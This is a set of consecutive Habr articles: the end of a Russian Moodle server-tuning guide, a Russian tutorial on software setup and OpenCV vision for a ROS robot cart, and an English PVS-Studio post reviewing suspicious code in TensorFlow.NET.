Описание приводится на [страничке документации](https://docs.moodle.org/310/en/Performance_recommendations#X-Sendfile), нужно это т.к. moodle выдает статические файлы, в соответствии с правами доступа к ним, динамически. Такого рода дополнения могут прилично увеличить производительность. Почитать подробнее про X-Sendfile можно в [статье](https://tn123.org/mod_xsendfile/).
Включается эта опция в конфиге Apache2 - указываем каталог с moodle data
```
XSendFile On
XSendFilePath /data/localcache/
XSendFilePath /data/filedir/
```
#### 2. Использование php-fpm
Данная рекомендация подходит для всех более-менее значимых проектов под LAMP.
Увеличивать можно из базовых параметров: количество подключений, максимальное число процессов запущенных и простаивающих для сервера и т.д.
Например, для конфига службы fpm/pool.d/www.conf
```
pm.max_children = 20
pm.start_servers = 10
```
#### 3. Изменение базовых значений php.ini
Здесь важным параметром является max\_*input\_*vars (должен быть увеличен). Система не сможет делать архивы для больших курсов и разворачивать их, так же сторонние модули с большим числом параметров не смогут правильно работать. Аналогично следует увеличить размеры лимитов для работы с файлами, например, МАХ размер загрузки файла на курс, максимального числа загружаемых файлов в систему одновременно.
```
max_input_vars = 1000000
upload_max_filesize = 512M
max_execution_time = 600
memorylimit = 512M
post_max_size = 512M
max_input_time = 300
```
В официальной документации moodle [рекомендуется](https://docs.moodle.org/310/en/Installing_Moodle) для продакшен использовать под Linux , а в ней меньше проблем с оптимизацией и кешированием у php. Настоятельно рекомендуется использовать модули по типу opcache в системе. Memcached нужно осторожно использовать (или отказаться вовсе) т.к. в системе могут происходить значительные изменения контента преподавателями и они не сразу могут отображаться корректно как для слушателей, так и для преподавателей.
#### 5. Использование внутреннего почтовика
Для работы moodle необходимо настроить работу с почтовой системой. Часто из-за того что почтовый сервер внешний, то письма к нему могут приходить не сразу, просто теряться(из-за таймаутов). Так же скрипты которые выполняют рассылку могут подвесить систему. Решением такой проблемы может быть развертывание почтового сервера с пересылкой писем на внешний сервер.
Документации о работе почтового сервера в режиме пересылки(Relay) много [официальной](http://www.postfix.org/transport.5.html), например, для Postfix.
Простой пример настройки опции - файл transport
`* smtp:my.pochta.ru`
#### 6. Mysql тюнинг
Может быть полезен, если для установки мудла использовался сервер MYSQL. Многие пишут что MYSQL из коробки идет с минимальными настройками, но информации по оптимизации БД много в сети. Могу посоветовать использовать утилиту mysqltunner.
Из базовых проблем без настройки гибкой БД - могут не выполняться запросы с выводом большого числа строк для отчетов, страницы со списками пользователей.
```
query_cache_size = 16M
innodb_buffer_pool_size = 3500M
tmp_table_size = 68M
max_heap_table_size = 68M
join_buffer_size = 256K
table_open_cache =400
```
**7. Использование системных утилит**
В мудле, в административной панели, можно задать пути для системных приложений(таких как du). При выполнении сценариев они могут быть использованы - это значительно увеличит скорость выполнения сценариев в системе. Подробнее в <https://docs.moodle.org/310/en/System_paths>
#### 8. Обслуживание системы
Работа системы в стеке LAMP должна быть гармоничной :) потому не нужно забывать следить за тем как выполняется скрипт [планировщика](https://docs.moodle.org/310/en/Cron)(без ошибок). Проблемы могут быть с правами на файловой системе или в модулях - в этом случае крон может не выполниться полностью, и системе не выполнятся задачи по рассылке писем, удалению старых данных (логов, конвертаций документов и тд.).
Так же можно выполнять [оптимизацию таблиц БД.](https://docs.moodle.org/310/en/Performance_recommendations#MySQL%20performance) В официальной документации про это много [написано](https://dev.mysql.com/doc/refman/8.0/en/optimize-table.html).
Если такого рода опыт полезен, то готов поделиться еще по смежным темам в области разработки - сопровождения порталов moodle или дистанционного обучения.
Всем успехов в работе!
Ведущий инженер Центра открытого образования СПбПУ. | https://habr.com/ru/post/542452/ | null | ru | null |
# Робот -тележка на ROS.Часть 2. Cофт
Посты серии:
[8. Управляем с телефона-ROS Control, GPS-нода](https://habr.com/ru/post/474650/)
[7. Локализация робота: gmapping, AMCL, реперные точки на карте помещения](https://habr.com/ru/post/472984/)
[6. Одометрия с энкодеров колес, карта помещения, лидар](https://habr.com/ru/post/471028/)
[5. Работаем в rviz и gazebo: xacro, новые сенсоры.](https://habr.com/ru/post/467665/)
[4. Создаем симуляцию робота, используя редакторы rviz и gazebo.](https://habr.com/ru/post/467241/)
[3. Ускоряемся, меняем камеру, исправляем походку](https://habr.com/ru/post/463147/)
[2. Софт](https://habr.com/ru/post/461131/)
[1. Железо](https://habr.com/ru/post/460755/)
Продвигаемся к улыбке
---------------------
Собрав «бургер» по схеме из прошлого [поста](https://habr.com/ru/post/460755/), перейдем к программному наполнению.
Так как мы собираем по уже готовому проекту, логично привести инструкции, в нем указанные. Они находятся [здесь](https://github.com/ROSbots/rosbots_setup_tools).
Все очень удобно и там же можно скачать уже готовый образ с Raspbian Stretch + ROS + OpenCV, записать его на sd карту для raspberry. (ROS Kinetic, OpenCV 3.4.1. Да, есть и поновее, но иногда лучше взять и поехать, чем собирать все самому из исходников).
Тем не менее, не смотря на удобство, мне все же пришлось немного поправить image. Так как выяснились некоторые неудобные детали оригинального образа:
* нет GUI (графического интерфейса). Это не критично, тем более для ROS, но для езды по линии надо калибровать камеру на самой raspberry, и видеть как она (камера) передает цвета (об этом ниже);
* сборка OpenCV не выводит изображение на экран, даже если самостоятельно поставить GUI. Очевидно в проекте rosbots opencv собиралась без этой опции.
* нет мелких костылей (VNC, текстового редактора для записей, mc).
* Поэтому, OpenCV был пересобран с поддержкой вывода изображения в GUI (собрана openCV 3.4.3), установлен GUI, мелкие костыли.
Готовый образ [здесь](https://drive.google.com/file/d/1dhp38WYghUE1zNREnI5vbP5tLI5iCwMa/view?usp=sharing), и дальше работа будет строиться на его основе.
Настроим сеть (wi-fi) и ROS-master на raspberry pi
--------------------------------------------------
.
Настоятельно рекомендую для опытов использовать отдельный роутер со своим wi-fi. Можно для этих целей просто создать точку доступа на телефоне. Это связано с тем, что по wi-fi будет летать достаточно много пакетов и, желательно, чтобы они не тонули в общем трафике.
После заливки образа на sd карту raspberry, настроим сеть. Первоначальные настройки сети такие:
```
interface wlan0
static ip_address=192.168.43.174/24
static routers=192.168.43.1
static domain_name_servers=192.168.43.1
```
Содержатся в /etc/dhcpcd.conf
Поэтому можно не подключать шланги к raspberry, чтобы все поменять, а просто создать точку доступа с пафосным названием boss и паролем 1234554321. Адрес raspberry будет 192.168.43.174. Так же на этот адрес можно кроме ssh зайти по VNC: логин — pi, пароль — 123qweasdzxcV.
**Настроим ROS-мастер**
Небольшая ремарка для тех, кто не сталкивался с ROS (robotic operation system). ROS-мастер — это посредник, через который в ros общаются разные узлы (ноды, сервисы и т.п.) Если ros мастер не запущен или запущен не по тому адресу, ноды друг друга не увидят.
В нашей системе ROS мастер стартует автоматически с загрузкой ОС и все, что от нас требуется, указать ip-адрес для ROS-мастера в соответствующем файле системы.
Если вы настройки сети не меняли, которые указананы выше, то и настраивать ничего не требуется.
В противном случае правим bashrc:
```
nano ~/.bashrc
```
В самом конце файла исправьте ip адреса (оба) на ваш случай:
```
export ROS_MASTER_URI=http://192.168.43.174:11311
export ROS_HOSTNAME=192.168.43.174
```
Перезагрузитесь.
Теперь при запуске терминала на тележке, вывод будет таким (либо тем, что вы указали в настройках):
```
For all slaves, "export ROS_MASTER_URI=http://192.168.43.174:11311"
```
Это означает, что ROS мастер работает по указанному ip адресу.
Управляем тележкой по wi-fi
---------------------------
С начала проверим, что у нас работают ноды.
В терминале:
```
rosnode list
```
Вывод будет таким:
/rosout
/uno\_serial\_node
Если ничего не вывело, то проверьте прописали ли вы ROS-master в настройках как указано выше, подключили ли шланг usb к arduino, перезагрузились.
После проверки запустим 1-ю ноду, отвечающую за движение:
```
rosrun rosbots_driver part2_cmr.py
```
\*специальная ros команда запускает из пакета rosbots\_driver python файл part2\_cmr.py
Система сообщит, что нода запущена:
Здесь видно, что определен радиус колес и расстояние между ними. Исправить эти значения, как и иные, связанные с движением можно в файле robot.py по пути
```
/home/pi/rosbots_catkin_ws/src/rosbots_driver/scripts/examples/coursera_control_of_mobile_robots/part2/full/controller
```
так как в самом part2\_cmr.py этих параметров нет. Откроем второй терминал и введем rostopic list:
Здесь видно, что появился топик /part2\_cmr/cmd\_vel. В этом топике /part2\_cmr «слушает», что ему будут говорить другие ноды и, в зависимости от того, что скажут, будет управлять движением. О том, что именно «слушает», а не «говорит» можно понять, используя команду.
```
rostopic info /part2_cmr/cmd_vel
```
Здесь видно, что /part2\_cmr subscriber (подписалась) на топик и слушает.
\*В топик можно самостоятельно, без нод, что-то «сказать».
Например:
```
rostopic pub -1 /wheel_power_left std_msgs/Float32 '{data: 1.0}'
```
повращать вперед левым колесом
```
rostopic pub -1 /wheel_power_left std_msgs/Float32 '{data: 0.0}'
```
остановить левое колесо
```
rostopic pub -1 /wheel_power_left std_msgs/Float32 '{data: -1.0}'
```
Повращать назад назад колесом
```
rostopic pub -1 /wheel_power_left std_msgs/Float32 '{data: -0.5}'
```
Повращать назад левым колесом помедленнее.
Синтаксис такой: rostopic pub — желание говорить в топик, -1 — разовое желание, /wheel\_power\_left — топик, куда говорим, std\_msgs/Float32 — язык (формат сообщений),'{data: -0.5}' — что говорим.
Теперь запустим того, кто будет говорить в топик /part2\_cmr/cmd\_vel. Это будет нода отправки команд с клавиатуры.
Не закрывая предыдущий терминал с работающий нодой, запустим еще один и введем:
```
rosrun teleop_twist_keyboard teleop_twist_keyboard.py /cmd_vel:=/part2_cmr/cmd_vel
```
\*Так как публикация по умолчанию ведется в топик /cmd\_vel, мы его перенаправляем используя
/cmd\_vel:=/part2\_cmr/cmd\_vel, чтобы сообщения сыпались именно в /part2\_cmr/cmd\_vel.
Нода управления запустилась и можно поездить, нажимая клавиши на клавиатуре:
Если ехать не получается или идет едва уловимый писк из под колес — надо увеличить скорость, нажимая на «w» в терминале с запущенной нодой. То же самое (увеличить или уменьшить) можно сделать со скоростью поворота — кнопка «e». Важно также находиться в терминале с запущенной нодой, если переключиться в другой терминал кнопки управления работать не будут. Кнопка «k» в терминале управления — это стоп.
В отдельном терминале посмотрим на топик /part2\_cmr/cmd\_vel:
Теперь в топике /part2\_cmr/cmd\_vel есть и говорящий, и слушающий.
Едем по линии на OpenCV
-----------------------
Перед тем как куда-то поехать, надо убедиться, что робот ездит при управлении с клавиатуры. Здесь важная ремарка необходима. При управлении с клавиатуры в примере выше, поворот налево должен соответствовать нажатию клавиши j, направо l (латинская л), вперед i, назад ,(запятой). Если в вашем случае это не так, то могут быть проблемы с поездкой. Чтобы все привести в норму, надо на arduino в нашем бургере поменять проводные пары, идущие с драйвера двигателя на ноги 4,5,6,7 arduino: 4,5 поменять местами с 6,7 либо 4 и 5,6 и 7 друг с другом в зависимости, куда будут крутиться колеса. Можно это также сделать программно, поправив код для arduino по пути — /home/pi/gitspace/rosbots\_driver/platformio/rosbots\_firmware/examples/motor\_driver/src/main.cpp
```
#define M_LEFT_PWM 6
#define M_LEFT_FR 7
#define M_RIGHT_PWM 5
#define M_RIGHT_FR 4
```
и перезалив его на arduino командой:
```
upload_firmware ~/gitspace/rosbots_driver/platformio/rosbots_firmware/examples/motor_driver
```
**Поработаем с цветами**
Наш садоводческий опыт будет заключаться в том, чтобы выделить линию на полу, по которой поедет робот, определить ее цвет. По умолчанию робот ее не видит. В качестве линии можно использовать либо скотч (желтый) либо изоленту либо что-то иное с характерным цветом и достаточно широкое. \*Прозрачный скотч вряд ли подойдет, т.к. его будет сложно выделить на фоне.
Зайдем в папку и запустим скрипт:
```
cd /home/pi/rosbots_catkin_ws/src/rosbots_driver/scripts/rosbots_driver
python bgr-to-hsv.py
```
\*Внимание! Если вы используете оригинальный образ от rosbots, а не мой, этой программы там нет.
Откроется два окна:
Перед нами диапазоны цветов в HSV. Что такое hsv и почему не rgb, прошу погуглить самостоятельно.
h1,s1,v1 — нижний и h2,s2,v2 — соответственно, верхний диапазон.
Теперь надо выделить линию с изолентой (возможно не изолентой а скотчем) на полу, двигая ползунки в окне. В окне result должна остаться только линия изоленты:
Линия изоленты непривычно белого цвета, все остальное — черное. Этот результат необходим.
Запишем, запомним цифры HSV диапазонов. Мой случай — 56,155,40 и 136,255,255. Диапазоны HSV будут разными при разной освещенности около камеры робота.
Закроем окна, введя ctrl+c в терминале и внесем HSV диапазоны в файл follow\_line\_step\_hsv.py:
```
cd /home/pi/rosbots_catkin_ws/src/rosbots_driver/scripts/rosbots_driver
nano follow_line_step_hsv.py
```
В строках:
```
lower_yellow = np.array([21,80,160])
upper_yellow = np.array([255,255,255])
```
Поставим цифры своих HSV диапазонов.
**Время ехать по линии**
Запускаем ноду-мотор в терминале 1:
```
rosrun rosbots_driver part2_cmr.py
```
Запускаем камеру-ноду во втором терминале:
```
sudo modprobe bcm2835-v4l2
roslaunch usb_cam usb_cam-test.launch
```
Запускаем ноду opencv в третьем терминале:
```
cd /home/pi/rosbots_catkin_ws/src/rosbots_driver/scripts/rosbots_driver
python follow_line_step_hsv.py
```
Если все пошло удачно, то робот поедет по линии, а также появится дополнительное окно:
В этом окне изолента будет помечаться красным кругом.
Общий смысл кода — выделить цветовой сегмент на определенном расстоянии от камеры, нарисовать красный кружок и ехать к этому кругу, стараясь, чтобы он находился в центре.
Наконец, о важном — о котах и улыбках
-------------------------------------
Так как наша цель — поехать к коту или к улыбающемуся человеку, то нам придется использовать что-то посложнее в своем коде. Также нам понадобятся коты и улыбающиеся люди. Со вторым сейчас сложнее: мало кто улыбается в это непростое, тревожное время. Поэтому начнем с котов.
Для экспериментов подойдут фото котов в фас.
Запустим в 1-м терминале камеру-ноду:
```
cd /home/pi/rosbots_catkin_ws/src/rosbots_driver/scripts/rosbots_driver
python pi_camera_driver.py
```
Во 2-м терминале ноду-мотор:
```
rosrun rosbots_driver part2_cmr.py
```
В 3-м терминале ноду-поиска кота:
```
cd /home/pi/rosbots_catkin_ws/src/rosbots_driver/scripts/rosbots_driver
python follow_cat2.py
```
Тележка понемногу будет двигаться к коту:
Теперь потребуется доброволец, который умеет улыбаться. Возьмем портрет малоизвестной публичной личности небольшой страны.
В 3-м терминале ноду-поиска кота можно закрыть — ctrl+c и вместо ее запустить поиск улыбки на лице малоизвестной публичной личности:
```
python follow_smile.py
```
Тележке придется медленно, недоверчиво ехать к улыбке малоизвестной персоны:
Как, возможно, многие уже догадались, в скриптах, которые мы запускали используются каскады Хаара. По тому же принципу, что и с поездкой по линии, выделяется квадрат искомой области и программа пытается удержать его в центре, двигая робота.
К сожалению, производительность на raspberry 3b оставляет желать лучшего, несмотря на настройки камеры 320x240 и 15 Fps. Задержки ощутимы с нарастанием времени. Не каждый кот выдержит.
Как это можно улучшить?
Попробовать пересобрать оптимизированную opencv, как рекомендует Адриан (https://www.pyimagesearch.com/2017/10/09/optimizing-opencv-on-the-raspberry-pi/)? Использовать ресурсы внешнего ПК для обработки изображений? Попробовать не сжимать картинки в jpeg, которые летят в обработчик Хаара? Да и еще один большой минус — коты должны быть большими и в фас. Расстояние 15 см на листе A4. При удалении от камеры, кот уже неузнаваем и неуязвим. Поставить на камеру raspberry монокль с 8x увеличением?
P.S.: Если у вас дойдут руки до экспериментов с образом, который приведен в статье, то можете поездить еще за различными частями тела, соответственно запуская вместо ноды-кота:
```
python follow_fullbody.py
python follow_upperbody.py
python follow_lowerbody.py
```
лицом или глазом:
```
python follow_face.py
python follow_right_eye.py
```
Если есть интерес к тому как плавно трогаться с места, чтобы робот не разливал чай, а также как управлять им не с самой raspberry, напишите. | https://habr.com/ru/post/461131/ | null | ru | null |
# How does strange code hide errors? TensorFlow.NET Analysis
Static analysis is an extremely useful tool for any developer, as it helps to find in time not only errors, but also suspicious and strange code fragments that may cause bewilderment of programmers who will have to work with it in the future. This idea will be demonstrated by the analysis of the TensorFlow.NET open C# project, developed for working with the popular TensorFlow machine learning library.
My name is Nikita Lipilin. Some time ago I joined the C# programmers department of PVS-Studio. Traditionally, all newcomers of the team write articles that cover the results of checking various open projects using the PVS-Studio static analyzer. Such articles help new employees to get to know the product better, and at the same time provide additional benefits in terms of popularizing the static analysis methodology. I suggest that you check out my first article on the topic of open projects analysis.
Introduction
------------
The variety of possible errors in the program code is amazing. Some of them reveal themselves immediately upon a brief glance on a created application. Other bugs are difficult to notice even during the code review by a team of experienced developers. However, it also happens that due to inattention or some other reason, the programmer sometimes writes simply strange and illogical code, which, nevertheless, (seems to) successfully fulfill its function. Only afterwards some unanswered questions appear when returning to what was written or when other people study the code.
Refactoring of old code might result in problems especially when other parts of the program depend on it. Therefore, even after finding some brazenly ugly constructions, the method «If it ain't broke don't fix it» is still being applied. Eventually it becomes difficult to study the source code, therefore expanding available capabilities gets more complicated. The code base gets clogged — it becomes more likely that a small and unwitnessed potentially unpleasant internal problem will not be fixed in the right time.
At some point, the consequences of this error will be felt, but catching it will take a lot of time, because the developer's suspicions will fall on a huge number of strange code fragments that were not refactored at one time. It follows from this that various problems and oddities in a particular fragment should be corrected immediately after its writing. In the case when there are reasonable reasons to leave everything as it is, such a fragment should be followed by an explanatory comment. For example, if the code is some kind of a draft for the future.
It is also worth noting that, regardless of the developer's qualifications, some problematic and simply unsuccessful moments can slip away from their eyes. In some cases, once a temporary solution is applied, it will soon become permanent. Subsequently, the analysis of such code (most likely, another developer will be engaged in this) will take an unacceptably much effort.
Code review can be of help in such cases. However, if the task is a complex beast, then this will require a lot of time. In addition, when there are a lot of small errors or shortcomings, then the checking developer may well not notice high-level errors behind them. Code verification becomes a tedious routine, leading to a gradual decrease of the review effectiveness.
Obviously, routine tasks are best to be delegated to a computer. This approach is used in many areas of modernity. Automation of various processes is the key to prosperity. What is automation in terms of this topic?
A reliable assistant in solving the problem of writing reasonable and stable working code is static analysis. Each time before sending the results of their activities to the review, the programmer will be able to conduct an automated check and not burden other developers with unnecessary work. The code will be sent for review only after all analyzer warnings have been taken into account: errors have been fixed, and strange moments have been rewritten or at least explained by a comment.
Of course, the need for code review does not fall away, but static analysis complements and greatly simplifies its implementation. A sufficiently large part of the errors will be fixed thanks to the analyzer, and strange moments will definitely not be forgotten and will be marked accordingly. It follows, that when reviewing the code one will be able to focus on the implementation of complex logical interactions and detecting underlying problems. Alas, they can't be identified by the analyzer so far.
TensorFlow.NET
--------------
This article is inspired by the TensorFlow.NET project. It gives the ability to work with the popular TensorFlow machine learning library via the C# code. Speaking of which, we've also [checked](https://www.viva64.com/en/b/0497/) it. This idea seemed quite interesting, because at the time of this writing, working with the library is available only in terms of Python, Java, and Go.
The source code available on [GitHub](https://github.com/SciSharp/TensorFlow.NET) is constantly being updated and now its size is a bit more than one hundred thousand lines. After a superficial study, I got the incredible urge to check it using static analysis. PVS-Studio was used as a specific tool, which has proved its effectiveness in a fairly large number of [different projects](https://www.viva64.com/en/inspections/).
For TensorFlow.NET, the analyzer issued the following number of warnings: 39 of the High level, 227 — Medium level and 154 — Low level. You can read about warning levels [here](https://www.viva64.com/en/m/0007/) in the subsection «Warning levels and diagnostic rule sets». A detailed analysis of each of them would make this article endless, so I'm going to describe only the most interesting ones. It is also worth noting that some problems repeat several times in the project. Review of every such fragment is beyond the purpose of this text.
The project sets itself a rather challenging task. Unfortunately, the appearance of various kinds of strange code fragments is inevitable. In this article I will try to show that the use of static analysis can greatly simplify the work of programmers by pointing to areas that may cause questions. A warning does not always indicate an error, it might be the code that would cause someone's questions. Accordingly, the code is more likely to be either rewritten or commented in the right way.
Fragments that attracted attention when studying the analyzer report
--------------------------------------------------------------------
In fact, a fairly large number of analyzer warnings for this project can be called not exactly errors but strange code. When looking through the lines of code triggered warnings, I feel at least puzzled. Some of the given examples might be temporary solutions. Despite this, they are not commented. A person working with this code in future will have some questions about it, leading to a waste of time in the search of answers to them.
At the same time, some warnings point to code that is obviously not just weird, but simply wrong. This is the main danger of strange code — it is extremely difficult to notice a real error among strange solutions at every turn. A reader gradually gets used to the fact that the code seems wrong.
### Sophisticated collection traverse
```
private static void _RemoveDefaultAttrs(....)
{
var producer_op_dict = new Dictionary();
producer\_op\_list.Op.Select(op =>
{
producer\_op\_dict[op.Name] = op;
return op;
}).ToArray();
....
}
```
**Analyzer warning:** [V3010](https://www.viva64.com/en/w/v3010/) The return value of function 'ToArray' is required to be utilized. importer.cs 218
The analyzer considers the call to *ToArray* suspicious in this place, as the value, returned by this function is not assigned to a variable. However, such code is not an error. This construction is used to fill the *producer\_op\_dict* dictionary by values, corresponding to the elements of the *producer\_op\_list.Op* list. Calling *ToArray* is needed so that the function passed as an argument of the *Select* method is called for all collection elements.
In my opinion, the code does not look the best. Filling out the dictionary is somewhat unobvious, and some developers may want to remove the ″unnecessary″ call to *ToArray*. It would be much simpler and more understandable to use the *foreach* loop here:
```
var producer_op_dict = new Dictionary();
foreach (var op in producer\_op\_list.Op)
{
producer\_op\_dict[op.Name] = op;
}
```
In this case, the code looks as simple as possible.
Another similar fragment looks like this:
```
public GraphDef convert_variables_to_constants(....)
{
....
inference_graph.Node.Select(x => map_name_to_node[x.Name] = x).ToArray();
....
}
```
**Analyzer warning:** [V3010](https://www.viva64.com/en/w/v3010/) The return value of function 'ToArray' is required to be utilized. graph\_util\_impl.cs 48
The only difference is that such a piece of code looks more concise. However, it is still tempting to remove the *ToArray* call, which still looks unobvious.
### Temporary solution
```
public GraphDef convert_variables_to_constants(....)
{
....
var source_op_name = get_input_name(node);
while(map_name_to_node[source_op_name].Op == "Identity")
{
throw new NotImplementedException);
....
}
....
}
```
**Analyzer warning:** [V3020](https://www.viva64.com/en/w/v3020/) An unconditional 'throw' within a loop. graph\_util\_impl.cs 73
In this project, the following approach is often used: if some kind of behavior has to be implemented later, *NotImplementedException* is thrown where appropriate. It is clear why the analyzer warns of a possible error in this piece: using *while* instead of *if* does not really look too reasonable.
This is not the only warning that appears due to the use of temporary solutions. For example, there is such a method:
```
public static Tensor[] _SoftmaxCrossEntropyWithLogitsGrad(
Operation op, Tensor[] grads
)
{
var grad_loss = grads[0];
var grad_grad = grads[1];
var softmax_grad = op.outputs[1];
var grad = _BroadcastMul(grad_loss, softmax_grad);
var logits = op.inputs[0];
if(grad_grad != null && !IsZero(grad_grad)) // <=
{
throw new NotImplementedException("_SoftmaxCrossEntropyWithLogitsGrad");
}
return new Tensor[]
{
grad,
_BroadcastMul(grad_loss, -nn_ops.log_softmax(logits))
};
}
```
**Analyzer warning:** [V3022](https://www.viva64.com/en/w/v3022/) Expression 'grad\_grad != null && !IsZero(grad\_grad)' is always false. nn\_grad.cs 93
In fact, the exception *NotImplementedException("\_SoftmaxCrossEntropyWithLogitsGrad")* will never be thrown, since the code is simply unreachable. In order to unravel the reason, we need to refer to the code of the *IsZero* function:
```
private static bool IsZero(Tensor g)
{
if (new string[] { "ZerosLike", "Zeros" }.Contains(g.op.type))
return true;
throw new NotImplementedException("IsZero");
}
```
The method either returns *true* or throws an exception. This code is not an error — obviously, the implementation here is left for later. What is really important here is for this «later» to come true. Well, we are lucky that PVS-Studio will not let you forget that there is such an imperfection here :)
### Is Tensor is Tensor?
```
private static Tensor[] _ExtractInputShapes(Tensor[] inputs)
{
var sizes = new Tensor[inputs.Length];
bool fully_known = true;
for(int i = 0; i < inputs.Length; i++)
{
var x = inputs[i];
var input_shape = array_ops.shape(x);
if (!(input_shape is Tensor) || input_shape.op.type != "Const")
{
fully_known = false;
break;
}
sizes[i] = input_shape;
}
....
}
```
**Analyzer warning:** [V3051](https://www.viva64.com/en/w/v3051/) An excessive type check. The object is already of the 'Tensor' type. array\_grad.cs 154
The type of the return value of the *shape* method is *Tensor*. Thus, the *input\_shape is Tensor* check looks at least weird. Perhaps, once the method returned a value of a different type and the check made sense, but it is also possible that instead of Tensor the condition should specify some kind of an heir of this class. One way or another, the developer should pay attention to this fragment.
### Decent condition checking
```
public static Tensor[] _BaseFusedBatchNormGrad(....)
{
....
if (data_format == "NCHW") // <=
throw new NotImplementedException("");
var results = grad_fun(new FusedBatchNormParams
{
YBackprop = grad_y,
X = x,
Scale = scale,
ReserveSpace1 = pop_mean,
ReserveSpace2 = pop_var,
ReserveSpace3 = version == 2 ? op.outputs[5] : null,
Epsilon = epsilon,
DataFormat = data_format,
IsTraining = is_training
});
var (dx, dscale, doffset) = (results[0], results[1], results[2]);
if (data_format == "NCHW") // <=
throw new NotImplementedException("");
....
}
```
**Analyzer warnings:**
* [V3021](https://www.viva64.com/en/w/v3021/) There are two 'if' statements with identical conditional expressions. The first 'if' statement contains method return. This means that the second 'if' statement is senseless nn\_grad.cs 230
* [V3022](https://www.viva64.com/en/w/v3022/) Expression 'data\_format == «NCHW»' is always false. nn\_grad.cs 247
Unlike some of the previous examples, there is clearly something wrong with this code. The second check does not make any sense, since if the condition is true, then the execution of the program will not reach it at all. Perhaps some typo is allowed here, or one of the checks is simply superfluous.
### The illusion of choice
```
public Tensor Activate(Tensor x, string name = null)
{
....
Tensor negative_part;
if (Math.Abs(_threshold) > 0.000001f)
{
negative_part = gen_ops.relu(-x + _threshold);
} else
{
negative_part = gen_ops.relu(-x + _threshold);
}
....
}
```
**Analyzer warning:** [V3004](https://www.viva64.com/en/w/v3004/) The 'then' statement is equivalent to the 'else' statement. gen\_nn\_ops.activations.cs 156
A rather amusing demonstration of the effectiveness of using static analysis in development. It is difficult to come up with a sensible reason why the developer wrote this particular code. Most likely, this is a typical copy-paste error. Although this, of course, may be another ″for later″ example.
There are other fragments like this, for example:
```
private static Operation _GroupControlDeps(
string dev, Operation[] deps, string name = null
)
{
return tf_with(ops.control_dependencies(deps), ctl =>
{
if (dev == null)
{
return gen_control_flow_ops.no_op(name);
}
else
{
return gen_control_flow_ops.no_op(name);
}
});
}
```
**Analyzer warning:** [V3004](https://www.viva64.com/en/w/v3004/) The 'then' statement is equivalent to the 'else' statement. control\_flow\_ops.cs 135
Maybe once the check made sense. Nevertheless, over time it either got lost, or in the future it is planned to make some additional changes. However, neither of these options seems to be sufficient justification for leaving something like this in the code, without explaining this oddity in any way. With a high degree of probability, a copy-paste error was made here in exactly the same way.
### Late check
```
public static Tensor[] Input(int[] batch_shape = null,
TF_DataType dtype = TF_DataType.DtInvalid,
string name = null,
bool sparse = false,
Tensor tensor = null)
{
var batch_size = batch_shape[0];
var shape = batch_shape.Skip(1).ToArray(); // <=
InputLayer input_layer = null;
if (batch_shape != null) // <=
....
else
....
....
}
```
**Analyzer warning:** [V3095](https://www.viva64.com/en/w/v3095/) The 'batch\_shape' object was used before it was verified against null. Check lines: 39, 42. keras.layers.cs 39
A classic and rather dangerous mistake of the potential use of a variable, which is a reference to nowhere. In doing so the code clearly implies the possibility that *null* will take place in *batch\_shape*. This is clear both from the arguments list and the subsequent check of the same variable. Thus, the analyzer here indicates an evident error.
### Another ″for later″ fragment?
```
public MnistDataSet(
NDArray images, NDArray labels, Type dataType, bool reshape // <=
)
{
EpochsCompleted = 0;
IndexInEpoch = 0;
NumOfExamples = images.shape[0];
images = images.reshape(
images.shape[0], images.shape[1] * images.shape[2]
);
images = images.astype(dataType);
// for debug np.multiply performance
var sw = new Stopwatch();
sw.Start();
images = np.multiply(images, 1.0f / 255.0f);
sw.Stop();
Console.WriteLine($"{sw.ElapsedMilliseconds}ms");
Data = images;
labels = labels.astype(dataType);
Labels = labels;
}
```
**Analyzer warning:** [V3117](https://www.viva64.com/en/w/v3117/) Constructor parameter 'reshape' is not used. MnistDataSet.cs 15
Like some other oddities, this is most likely due to the fact that the functionality is far from fully implemented. It is quite possible that the *reshape* parameter will be used somehow in this constructor in the future. So far, I have the feeling that it is left here without any reason. If it has been really left here «for later», it should have been followed by a comment. If not, the code constructing the object will have to pass the constructor an extra parameter. There might be the case when this step is best to me omitted.
### Uncatchable possible null dereference
```
public static Tensor[] _GatherV2Grad(Operation op, Tensor[] grads)
{
....
if((int)axis_static == 0)
{
var params_tail_shape = params_shape.slice(new NumSharp.Slice(start:1));
var values_shape = array_ops.concat(
new[] { indices_size, params_tail_shape }, 0
);
var values = array_ops.reshape(grad, values_shape);
indices = array_ops.reshape(indices, indices_size);
return new Tensor[]
{
new IndexedSlices(values, indices, params_shape), // <=
null,
null
};
}
....
}
```
**Analyzer warning:** [V3146](https://www.viva64.com/en/w/v3146/) Possible null dereference of the 1st argument 'values' inside method. The '\_outputs.FirstOrDefault()' can return default null value. array\_grad.cs 199
In order to get the point of the problem, we have to refer to the *IndexedSlices* constructor code:
```
public IndexedSlices(
Tensor values, Tensor indices, Tensor dense_shape = null
)
{
_values = values;
_indices = indices;
_dense_shape = dense_shape;
_values.Tag = this; // <=
}
```
Obviously, passing *null* to this constructor will result in an exception. However, why does the analyzer consider that the *values* variable may contain *null*?
PVS-Studio uses the Data-Flow Analysis technique, which allows you to find the sets of possible variables' values in different parts of the code. The warning tells us that null can be returned in the specified variable in the following line: *\_outputs.FirstOrDefault()*. At the same time the above code implies that the value of the *values* variable is received by calling *array\_ops.reshape(grad, values\_shape).* Then what's that got to do with *\_outputs.FirstOrDefault()*?
The fact is that when analyzing the data flow, not only is the current function considered, but also all called ones. In doing so, PVS-Studio receives information about the set of possible values of any variable anywhere. Therefore, the warning means that the implementation of *array\_ops.reshape(grad, values\_shape)* contains the call of *\_outputs.FirstOrDefault()*, the result of which is ultimately returned.
To verify this, let's go to the *reshape* implementation:
```
public static Tensor reshape(T1 tensor, T2 shape, string name = null)
=> gen\_array\_ops.reshape(tensor, shape, null);
```
Then go to the *reshape* method called inside:
```
public static Tensor reshape(T1 tensor, T2 shape, string name = null)
{
var \_op = \_op\_def\_lib.\_apply\_op\_helper(
"Reshape", name, new { tensor, shape }
);
return \_op.output;
}
```
The *\_apply\_op\_helper* function returns the object of the *Operation* class, containing the *output* property. It is upon receipt of its value that the code described in the warning is called:
```
public Tensor output => _outputs.FirstOrDefault();
```
*Tensor* is, of course, a reference type, so the default value for it will be *null*. From all this it can be seen that PVS-Studio meticulously analyzes the logical structure of the code, penetrating deep into the structure of calls.
The analyzer did what it had to and indicated a potentially problematic place. The only thing a programmer has to check is whether a situation may arise when elements in *\_outputs* are absent.
